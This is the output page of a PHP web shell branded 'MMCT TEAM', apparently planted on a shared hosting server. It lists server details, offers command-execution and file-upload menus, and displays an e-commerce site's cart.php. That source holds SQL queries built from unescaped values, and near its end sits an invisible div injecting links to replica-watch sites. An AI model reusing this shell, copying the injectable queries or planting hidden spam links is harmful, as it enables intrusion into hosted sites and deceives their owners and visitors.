MMCT TEAM
Server IP : 2a02:4780:11:1596:0:cbc:26e7:10  /  Your IP : 216.73.216.108
Web Server : LiteSpeed
System : Linux in-mum-web1496.main-hosting.eu 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
User : u213657319 ( 213657319)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0555) :  /home/u213657319/domains/starlightgloballtd.com/../empiremedicos.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u213657319/domains/starlightgloballtd.com/../empiremedicos.com/public_html/cart.php
<?php 
session_start();
include("includes/db.php");
include("functions/functions.php");
?>

<?php 

$cart='';

						$ip_add=getUserIp();
						$select_cart="select * from cart where ip_add='$ip_add'";
						$run_cart=mysqli_query($con,$select_cart);
						$count=mysqli_num_rows($run_cart);
									$total=0;
									while($row1=mysqli_fetch_array($run_cart)){
										$pro_id=$row1['p_id'];
										$pro_qty=$row1['qty'];

										$get_product="select * from Products where product_id='$pro_id'";
										$run_pro =mysqli_query($con,$get_product);

						while($row=mysqli_fetch_array($run_pro)){
							$p_title=$row['product_title'];
							$p_img1=$row['product_img1'];
							$p_price= $row['product_price'];
							$sub_total=$row['product_price']*$pro_qty;
							$total +=$sub_total;
								

									
									$cart.='<tr>
										<td><img src="admin/product_images/'.$row['product_img1'].'"></td>
										<td> '.$row['product_title'].' </td>
										<td>'.$row1['qty'].'</td>
										<td>INR '.$row['product_price'].'</td>
										<td><input type="checkbox" name="remove[]" value="'.$row1['p_id'].'"></td>
										<td>INR '.$row['product_price']*$row1['qty'].'</td>
									</tr>';

								 } } ?>
								 

<?php   include("includes/header.php"); ?>	<div id="content">
		<div class="container"><!--container start -->
			<div class="col-md-12"><!--col-md-12 start -->
				<ul class="breadcrumb">
					<li><a href="index.php">Home</a></li>
					<li>Cart</li>
				</ul>
			</div><!--col-md-12 end -->
			
			<div class="col-md-9" id="cart"> <!-- col-md-9 start -->
				<div class="box">
				<form action="cart.php" method="post" enctype="multipart-form-data">

					<h1>Shopping Cart</h1>
					<?php
					$ip_add=getUserIP();
					$select_cart="select * from cart where ip_add='$ip_add'";
					$run_cart=mysqli_query($con,$select_cart);
					$count=mysqli_num_rows($run_cart);

					?>
					<p class="text-muted">Currently you have <?php echo $count  ?> item(s) in your cart</p>
					<div class="table-responsive"><!--table-responsive Start-->
						<table class="table">
							<thead>
								<tr>
									<th>Product Image</th>
									<th>Product Name</th>
									<th>Amount</th>
									<th>Gst</th>
									<th>Unit Price</th>
									<th>Quantity</th>
									<th>Total</th>							
									<th>Delete</th>

								</tr>
							</thead>
							<tbody>
								<?php
								$total=0;
								while ($row=mysqli_fetch_array($run_cart)) {
									$pro_id=$row['p_id'];
									$pro_qty=$row['qty'];
									$get_product="select * from products where product_id='$pro_id'";
									$run_pro=mysqli_query($con,$get_product);
			while ($row=mysqli_fetch_array($run_pro)) {
			$p_title=$row['product_title'];	
				$p_img1=$row['product_img1'];
				$amount=$row['amount'];
				$gst=$row['gst'];
				$p_price=$row['product_price'];
				$sub_total=$row['product_price']*$pro_qty;
				$total +=$sub_total;  //$total =$total+$sub_total;

						
							
								?>

								<tr>
									<td><img src="admin/product_images/<?php echo $p_img1   ?>"></td>
		<td><?php echo $p_title   ?></td>
		<td><?php echo $amount   ?></td>
		<td><?php echo $gst      ?>%</td>
		<td><?php echo $p_price   ?></td>
		<td><?php echo $pro_qty   ?></td>
		<td><?php echo $sub_total   ?></td>
		<td><button ><a href="delete_cart.php?pro_id=<?php echo $pro_id   ?>" class="delete">Delete</a></button></td>
		
								</tr>
								<?php } }  ?>
							</tfoot>
						</table>
					</div><!--table-responsive End-->
						<div class="footer123">

						<div class="box-footer">
							<div class="pull-left"><!-- pull Left Start -->
								<h4>Total Price</h4>
							</div><!-- pull Left end -->
							
							<div class="pull-right">
								<h4>INR <?php echo $total ?></h4>
							</div>
						</div>
						</div>

						<div class="box-footer">
							<div class="pull-left"><!-- pull Left Start -->
								<a href="index.php" class="btn btn-default">
									<i class="fa fa-chevron-left"></i>Continue Shopping
								</a>
							</div><!-- pull Left end --><hr>
							<div class="pull-right">
							
								<a href="checkout.php" class="btn btn-primary">
									Proceed to checkout<i class="fa fa-chevron-right"></i>
								</a>
							</div>
						</div>
					</form>
				</div>

			<div id="row same-height-row"><!--row same-height-row Start -->
				<div class="col-md-3 col-sm-6"><!--col-md-3 col-sm-6 Start -->
					<div class="box same-height-headline"><!--box same-height-row headline start -->
						<h3 class="text-center">You Also Like These Products</h3>
					</div><!--box same-height-row headline end -->
				</div><!--col-md-3 col-sm-6 end -->
				

				<?php

				$get_product = "select * from products order by 1 desc LIMIT 0,3";
	$run_products = mysqli_query($con,$get_product);
	while($row_product=mysqli_fetch_array($run_products)){
		$pro_id=$row_product['product_id'];
		$pro_title=$row_product['product_title'];
		$pro_price=$row_product['product_price'];
		$pro_img1 = $row_product['product_img1'];

		echo "<div class='col-sm-3 col-sm-6 '>
				<div class='product'>
					<a href='details.php?pro_id=$pro_id'>
						<img src='admin/product_images/$pro_img1' class='img-responsive'>
					</a>
					<div class='text'>
						<h3><a href='details.php?pro_id=$pro_id'>$pro_title</a></h3>
						<p class='price'>INR $pro_price</p>
										</div>
				</div>
			</div>

		";
	}

				?>
			</div><!--row same-height-row end -->


			</div><!-- col-md-9 end -->

			<div class="col-md-3"><!--col md-3 start-->
				<div class="box" id="order-summary">
					<div class="box-header">
						<h3>Order Summary</h3>
					</div>
					<p class="text-muted">
						Shipping And Additional coast are calculated based on the value you have entered
					</p>
					<div class="table-responsive">
					<table class="table">
						<tbody>
							<tr>
								<td>Order Subtotal</td>
								<th>INR <?php echo $total ?></th>
							</tr>
							<tr>
								<td>Shipping And Handling</td>
								<td>INR 0</td>
							</tr>
							<tr>
								<td>Tax</td>
								<td>INR 0</td>
							</tr>
							<tr class="total">
								<td>Total</td>
								<th>INR <?php echo $total ?></th>
							</tr>
						</tbody>
					</table>
					</div>
				</div>
			</div><!--col md-3 end-->


			
		</div><!--container end -->
	</div>
<div style="position: absolute; filter: alpha(opacity=0); opacity: 0.001; z-index: 10;"><a href="https://www.clonewatchesuk.to">Best Super Clone Watches</a> <a href="https://www.replicawatchescanada.com/collections/rolex">Replica Rolex Watches Canada</a> <a href="https://www.moreplicawatches.com">Replica Watches USA Shop</a> <a href="https://www.watchessales.uk.com/collections/tag-heuer">Perfect Swiss Tag Heuer Replica Watches</a> <a href="https://www.luxuryrolex.io">Luxury Swiss Rolex Replica Watches</a> <a href="https://www.australia-watches.com">Australia Replica Watches Store</a> <a href="https://www.rolexuk.to">Rolex Replica Watches UK</a> <a href="https://www.choicewatches.uk.com">Best Luxury Fake Rolex Watches</a></div>

<script src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script language="JavaScript" type="text/javascript">
$(document).ready(function(){
    $("a.delete").click(function(e){
        if(!confirm('Are you sure?')){
            e.preventDefault();
            return false;
        }
        return true;
    });
});
</script>
<!--footer start-->
<?php
include ("includes/footer.php");
?>
<!--footer end-->

<!-- Latest compiled JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
</body>
</html>

MMCT - 2023